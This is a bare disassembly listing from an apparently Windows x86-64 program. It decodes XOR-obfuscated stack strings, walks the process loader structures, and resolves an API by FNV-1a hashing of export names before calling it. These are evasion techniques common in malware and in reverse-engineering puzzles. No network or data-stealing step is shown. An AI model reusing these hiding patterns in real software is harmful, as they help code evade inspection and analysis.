lea rdx, [0x1402b14a0]
cmovae rdx, r15
cmp r12, 0x10
lea rcx, [0x1402b1400]
cmovae rcx, r13
cmp rsi, rax
jne 0x140049d02
mov r8, rsi
call fcn.1400bd4b0
test eax, eax
jne 0x140049d02
movabs rax, 0xed69800a0d5b5630
mov qword [rbp + 0xc0], rax
movabs rax, 0x9d980c164dbb1308
mov qword [rbp + 0xc8], rax
movabs r14, 0x8c0ae96465383364
mov qword [rbp + 0x100], r14
movabs rsi, 0x9d98676422cc3364
mov qword [rbp + 0x108], rsi
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0xc0], xmm0
lea rax, [rbp + 0xc0]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140049b10
cmp qword [0x1402b1438], 0x10
lea rax, [0x1402b1420]
cmovae rax, qword [0x1402b1420]
cmp rbx, rdi
jne 0x140049d02
mov r8, rbx
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x140049d02
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049be6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049be6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140049be1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140049bc0
cmp r8d, 0x23a979e4
je 0x140049beb
test r9d, r9d
jne 0x140049ba0
mov rax, qword [rax]
jmp 0x140049b70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
mov edx, 0x10
lea rcx, [rsp + 0x40]
call fcn.14009c300
nop
cmp qword [rax + 0x18], 0x10
jb 0x140049c1c
mov rax, qword [rax]
movabs rcx, 0xe52a9b0101595c28
mov qword [rbp + 0x20], rcx
movabs rcx, 0xf3fd151657af1317
mov qword [rbp + 0x28], rcx
movabs rcx, 0x4e7a6b0baf595f10
mov qword [rbp + 0x30], rcx
movabs rcx, 0xf246d00d30bc5001
mov qword [rbp + 0x38], rcx
movabs rcx, 0xa1152f0fb8274444
mov qword [rbp + 0x40], rcx
movabs rcx, 0x36f53f641c5c3364
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], rsi
movabs rdx, 0x3a5a05648f203364
mov qword [rbp + 0x150], rdx
movabs rdx, 0x9e27b3645ed43364
mov qword [rbp + 0x158], rdx
movabs rdx, 0xa1150164ca483364
mov qword [rbp + 0x160], rdx
mov qword [rbp + 0x168], rcx
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x40], xmm0
mov r9d, 0x1010
mov r8, rax
lea rdx, [rbp + 0x20]
xor ecx, ecx
call rbx
nop
jmp 0x140049a34
mov rbx, qword [rsp + 0x38]
xor eax, eax
movups xmm0, xmmword [rbp]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0xf
mov byte [rbp], al
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140049920
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004991b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d78
jmp 0x14004991b
call fcn.1400d0a24
nop
call fcn.1400017c0
nop
call fcn.1400017c0
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
int3
call fcn.1400d0a24
int3
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.140001860
nop
call fcn.140001860
nop
call fcn.140001860
int3
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
int3